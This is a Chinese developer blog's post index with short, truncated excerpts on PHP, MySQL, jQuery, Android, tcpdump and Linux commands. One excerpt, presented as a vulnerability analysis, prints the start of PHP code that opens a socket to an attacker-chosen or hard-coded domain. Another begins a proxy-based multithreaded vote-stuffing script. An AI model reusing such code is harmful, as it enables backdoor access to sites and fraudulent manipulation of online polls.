- 博客(41)
- 资源 (7)
- 收藏
- 关注
原创 python 采用代理模拟登陆代码
cookies = cookielib.MozillaCookieJar(cookiefile)cookie_support = urllib2.HTTPCookieProcessor(cookies)proxy_support = urllib2.ProxyHandler(proxy_info)opener = urllib2.build_opener(proxy_support, coo
2013-10-21 00:13:29 796
原创 php远程执行漏洞分析
<?php//post['ta']为空返回cleanboard.net,所以提交ta=1&a="任意域名"则$ta="任意域名"if(empty($_POST['ta'])) {$ta ="cleanboard.net";}else {$ta =$_POST['a'];}//socket 打开连接$ta的80端口$da = fsockopen($ta, 80, $errno, $er
2013-09-25 11:12:20 904
原创 python 多线程自动刷票程序
#!/usr/bin/python # -*- coding: utf-8 -*- #coding=utf-8import urllib2import urllibimport reimport threadingfrom time import ctimerlock = threading.RLock()#myproxy代理地址# i线程iddef vote(mypro
2013-09-23 11:23:57 3489
原创 Access转mysql(wordpress 转库)
博客改版,需要从access数据库把文章转入mysql数据库。代码贴出:<?phptry{ //getcwd过去当前路径 $db = new PDO("odbc:driver={microsoft access driver (*.mdb)};dbq=".getcwd()."\\#tot_news.mdb"); echo "Access Connected\r\n";}
2013-09-23 10:12:21 699
转载 tcpdump抓包分析详解
说 实在的,对于 tcpdump 这个软件来说,你甚至可以说这个软件其实就是个黑客软件,因为他不但可以分析封包的流向,连封包的内容也可以进行『监听』, 如果你使用的传输数据是明码的话,不得了,在 router 上面就可能被人家监听走了!很可怕吶!所以,我们也要来了解一下这个软件啊!(注:这个 tcpdump 必须使用 root 的身份执行)如果你是第一次看 tcpdump 的 man pa
2013-02-26 09:15:52 732
转载 linux find
Linux find 用法示例Linux中find常见用法示例·find path -option [ -print ] [ -exec -ok command ] {} \;find命令的参数;pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录。-print: find命令将
2013-02-16 09:03:25 484
转载 linux tcpdump
linux下抓包命令--tcpdump的使用来源:不详 (2006-07-14 11:09:04) 例:tcpdump host 172.16.29.40 and port 4600 -X -s 500tcpdump采用命令行方式,它的命令格式为: tcpdump [ -adeflnNOpqStvx ] [ -c 数量 ] [ -F 文件名 ]
2013-01-22 16:03:21 344
转载 mysql 索引优化
如何建立索引· 索引通常被用于提高WHERE条件的数据行匹配或者执行联结操作时匹配其它表的数据行的搜索速度。所以我们选择索引的列也通常选择出现在WHERE子句、join子句、ORDER BY或GROUP BY子句中的列。· 选择索引时,需要考虑数据列的基数。所谓基数,是指数据列所包含的不同的数据的个数。如果基数相对于数据表行数较高的话,索引的效果比较好。换句话说,就是指数据列的不同的值
2013-01-18 10:21:27 302
转载 sql group by
GROUP BY 是分组查询, 一般 GROUP BY 是和 聚合函数配合使用,你可以想想你用了GROUP BY 按 ITEM.ITEMNUM 这个字段分组,那其他字段内容不同,变成一对多又改如何显示呢,比如下面所示A B1 abc1 bcd1 asdfgselect A,B from table group by A你说这样查出来是什么结果,A B a
2013-01-18 09:15:55 335
转载 google code sub 路径问题
申请google code成功之后,在source 界面使用其url地址进行下载时,总不能成功,报错。经过多方面查证,最终发现你要下载和提交的url是https://****.googlecode.com/svn/ 星号是代表你项目所取得名字。写好后放入url中 checke-out 就可以了。
2013-01-16 10:33:11 392
转载 百度地图 Hello Word
如何把API 添加到我的Android工程中?首先在工程里新建libs文件夹,并API开发包里的baidumapapi.jar拷贝到libs根目录下,将libBMapApiEngine.so拷贝到libs\armeabi目录下。官网demo里已有这两个文件,如果要集成到自己的工程里,就需要自己添加。然后在工程属性->Java Build Path->Libraries中选择“Add Exter
2013-01-15 22:11:28 579
转载 android gps 定位服务
二十七、Android之GPS定位详解一、LocationManagerLocationMangager,位置管理器。要想操作定位相关设备,必须先定义个LocationManager。我们可以通过如下代码创建LocationManger对象。LocationManger locationManager=(LocationManager)this.getSystemService
2013-01-15 13:12:09 620
转载 Please ensure that adb is correctly located at 'D:\java\sdk\platform-tools\adb.exe' and can be execu
Android Please ensure that adb is correctly located at问题解决遇到问题描述:运行android程序控制台输出 [2012-07-18 16:18:26 - ] The connection to adb is down, and a severe error has occured. [2012-07-1
2013-01-07 13:48:16 2598 1
转载 Android基础三 ---- Android开发环境搭建
前两篇大家估计都不爱看,当代社会大家都很忙,都喜欢直入主题。那好吧,这篇说一下如何在Windows下搭建开发环境。主要是参考Android官方网站的环境搭建教程:http://developer.android.com/sdk/index.htmlhttp://developer.android.com/sdk/installing.html目录 1.Android环境搭
2013-01-07 09:09:06 636
转载 数组与链表
数组是将元素在内存中连续存放,由于每个元素占用内存相同,可以通过下标迅速访问数组中任何元素。但是如果要在数组中增加一个元素,需要移动大量元素,在内存中空出一个元素的空间,然后将要增加的元素放在其中。同样的道理,如果想删除一个元素,同样需要移动大量元素去填掉被移动的元素。如果应用需要快速访问数据,很少或不插入和删除元素,就应该用数组。链表恰好相反,链表中的元素在内存中不是顺序存储的,而是通过
2012-12-26 11:26:18 568
转载 msyql 时间的存储与应用
MySql查询时间段的方法未必人人都会,下面为您介绍两种MySql查询时间段的方法,供您参考,希望对您能有所启迪。MySql的时间字段有date、time、datetime、timestamp等,往往我们在存储数据的时候将整个时间存在一个字段中,采用datetime类型;也可能采用将日期和时间分离,即一个字段存储date,一个字段存储时间time。无论怎么存储,在实际应用中,很可能会出现包含“
2012-12-14 15:03:55 570
转载 常用正则表达式
正则表达式 转义字符(转)博客分类:前端技术 正则表达式JavaScript腾讯QQVBScript字符匹配语法: \d 匹配数字(0~9) ‘\d’匹配8,不匹配12; \D 匹配非数字 ‘\D’匹配c,不匹配3; \w 匹配任意单字符 ‘\w\w’ 匹配A3,不匹配@3; \W 匹配非单字符 ‘\W’匹配@,不匹配c; \s 匹配
2012-12-13 11:09:26 379
转载 php 常用文件操作函数
一、文件读写1、resource fopen ( string filename, string mode ) 打开一个文件或URL,并返回其句柄(handle)。其中mode可以取以下值:'r' 以只读方式打开,并将指针指向文件开头。 'r+' 以读写方式打开,并将指针指向文件开头。'w' 以只写方式打开,并将指针指向文件结尾。文件的长度将被截为0,如果文件不存在则尝试创建
2012-12-13 10:49:43 509
转载 js json
JS操作JSON总结JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,采用完全独立于语言的文本格式,是理想的数据交换格式。同时,JSON是 JavaScript 原生格式,这意味着在 JavaScript 中处理 JSON数据不须要任何特殊的 API 或工具包。 本文主要是对JS操作JSON的要领做下总结。 在JSON
2012-12-11 08:48:10 394
转载 juery 选择器
1).基本·#id 根据给定的ID匹配一个元素。例如:$("#id")·element 根据给定的元素名匹配所有元素。例如:$("div")·.class 根据给定的类匹配元素。例如:$(".style1"); ·* 匹配所有元素。例如:$("*")·selector1,selector2,selectorN 将每一个选择器匹配到的元素合并后一起返回。例如:$("#id,d
2012-12-10 17:30:00 376
转载 php session 详解
PHP5中的cookie和session详解2007-05-20 开源文摘打印自: 开源文摘 地址: http://www.opendigest.org/article.php/219PHP5中的cookie和session详解PHP5中的cookie和session详解1.PH
2012-12-07 14:31:38 750
转载 js date
js DateDate 对象用于处理日期和时间。创建 Date 对象的语法:var myDate=new Date()Date 对象会自动把当前日期和时间保存为其初始值。参数形式有以下5种: new Date("month dd,yyyy hh:mm:ss"); new Date("month dd,yyyy"); new Date(
2012-12-05 22:25:48 447
原创 mysql 事务处理
1.用begin,rollback,commit来实现begin开始一个事务rollback事务回滚commit 事务确认2.直接用set来改变mysql的自动提交模式mysql默认是自动提交的,也就是你提交一个query,就直接执行!可以通过set autocommit = 0 禁止自动提交set autocommit = 1 开启自动提交 来实现事务的处理。
2012-12-04 15:17:07 403
转载 linux 后台运行php
如何让Linux后台运行命令或php 用 telnet/ssh 登录Linux 服务器,运行了一些耗时较长的任务, 结果却因为关闭远程窗口任务中途失败。这是我们就需要用到Linux的后台运行命令基础方法:下达的命令后面加上&,就可以使该命令在后台进行工作,这样做最大的好处就是不怕被ctrl+c这个中断指令所中断。可以通过执行fg来将其恢复到前台。有多个进程在后台运行,需要恢复到
2012-12-03 16:32:46 1528
转载 jquery 获取值及赋值
jQuery 取值、赋值的基本方法/*获得TEXT.AREATEXT的值*/ var textval = $("#text_id").attr("value"); //或者 var textval = $("#text_id").val(); /*获取单选按钮的值*/ var valradio = $("input[@type=ra
2012-12-03 09:10:23 1016
转载 JQuery.BlockUI
JQuery.BlockUI是众多JQuery插件弹出层中的一个,它小巧(原版16k,压缩后10左右),容易使用, 功能齐全,支持Iframe,支持Modal,可定制性高也意味他默认谦虚的外表。jQuery的BlockUI插件可以让你在使用AJAX时模拟同步行为,锁定浏览器(模式窗口)。当被激活时,它会防止用户活动的页面(或页面的一部分),直到它被禁用。 BlockUI添加元素的DOM,给它的
2012-11-30 14:26:51 519
转载 新浪微博地址url字符与mid的相互转换算法及原理
过新浪微博api接口发布微博成功后,会返回一个二维数组,这个返回的数组里有微博的内容,发布微博的用户信息等等.却没有所发布成功的微博的URL.很多时候如果要记录信息在数据库 则微博URL应该必不可少.通过新浪微博论坛搜索,发现有以下方法.原理:新浪微博的URL都是如:http://weibo.com/1247667622/l4EV85aqp 这样三部分.第一部分(绿色部分)为新浪微博的
2012-11-28 14:29:50 1528
转载 Eclipse导入Android项目的正确方法及出错后的解决办法
在android 中导入项目后 包出现错误的解决方法选中项目,右击打开Properties:1.检查android选项页中是否勾选了project build target。2.检查java build path 中 orler and explort 中是否勾选上了相应的android libraries。3.打开菜单栏中windows -> preferences : java
2012-11-27 23:53:00 1265
转载 jquery block ui
经常会有些同志问我有没有好用的基于jQuery的弹出层插件,我通常都会毫不犹豫的推荐他这款插件–BlockUI。我也极少接触到其他的jQuery弹出层插件,因为我觉得有了BlockUI这款功能强大的插件已经能满足我的需求了。先看看BlockUI的演示效果:查看演示BlockUI支持很多常见的弹出层,表单、图片、div窗口等。那么这个插件该如何使用呢?接着往下看。先导入jQuery的
2012-11-27 13:18:51 657
原创 jquery datepicker 效果
jquery datepicker效果 日期选择 --> $(function(){ $("#sponsorDate").datepicker({ changeMonth: true, changeYear: true, showOn: 'button',
2012-11-27 11:16:15 416
原创 appserv dos环境下运行
1:右击我的电脑->属性->高级->环境变量, 如果存在 PATH 则在原来的 PATH 中加入你的PHP安装目录, 如果不存在则新建一个 PATH,dos下输入php测试; 然后 会弹出丢失mb_string.dll的错误;2:这种原因一般都是组件加载顺序引起的,在php.ini文件里确保 extension=php_mbstring.dll
2012-11-23 11:21:28 386
转载 php实现记住密码自动登录方法
php实现记住密码自动登录方法不止一个,下面出现有二个emptyempty,其实是一个,那是因为代码高亮有bug。希望对大家有帮助。一,用户登录的check 代码如下://检查用户是否登录 function checklogin(){ if(emptyempty($_SESSION['user_info'])){ //检查一下session是不是为空 if(
2012-11-19 20:12:03 535
原创 mysql 修改表字段
mysql> alter table newcar change id id int(11) not null AUTO_INCREMENT;Query OK, 10 rows affected (0.16 sec)Records: 10 Duplicates: 0 Warnings: 0mysql> alter table newcar change id id int(11
2012-11-19 15:29:31 573
转载 ueditor 详细配置
发个Ueditor及详细使用教程,支持WORD图片转存 http://ueditor.baidu.com/website/download.html首先在这里下载最新的版本。上传后,然后放到任意目录,(我的是放到帝国的下级目录)要修改几个文件。1.修改editor_config.js,第一处地方URL = window.UEDITOR_HOME_URL||t
2012-11-18 14:01:34 1041
转载 android 环境配置
引言本系列适合0基础的人员,因为我就是从0开始的,此系列记录我步入Android开发的一些经验分享,望与君共勉!作为Android队伍中的一个新人的我,如果有什么不对的地方,还望不吝赐教。在开始Android开发之旅启动之前,首先要搭建环境,然后创建一个简单的HelloWorld。本文的主题如下:1、环境搭建 1.1、JDK安装 1.2、Eclipse安装 1.3、
2012-11-17 14:19:38 509
转载 VisualSVN Server与TotoiseSVN
VisualSVN Server 与TortioseSVN(转载) 2010-03-14 14:12:29| 分类:php | 标签:|字号大中小订阅 < VisualSvn Studio集成在一起, Server是免费的,而VisualSVN是收费的。VisualSVN是SVN的客户端,和Visual1.为什么要
2012-11-17 08:35:43 570
转载 VMware网络连接之桥接、NAt、host-only模式的理解 vm
VMware网络连接之桥接、NAt、host-only模式的理解 vm转自http://hi.baidu.com/1188000/blog/item/280640f7dc62dc2a720eec3a.html2009-03-28 16:30 如果你想利用VMWare安装虚拟机,或想创建一个与网内其他机器相隔离的虚拟系统,进行特殊的调试工作。此时,对虚拟系统网络连接模式的选择就非常重要了。如
2012-11-09 21:17:05 654
转载 Ext Combobox 动态下拉树实现
在最近的一个项目中,想利用Ext combobox实现一个动态的下拉树,无奈官方中也没有例子,网上很多例子也是坑爹的,, 决定自已修改 然后实现一个动态的下拉树,废话少说 ,看代码:Ext.ns('Boat.UI');// 树形下拉框Boat.UI.TreeCombox = Ext.extend(Ext.form.ComboBox, { store :
2012-10-10 08:36:15 924
原创 oracle 视图 存储过程 触发器详解
Oracle索引? 目地:更快地检索数据。 特点:读取数据速度快,但添加数据速度慢.。 语法: create index idx_stu_email on stu (email) ; drop index idx_stu_email ; select index_name from user_indexs ;Oracle视图? C
2012-10-08 16:30:04 882
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人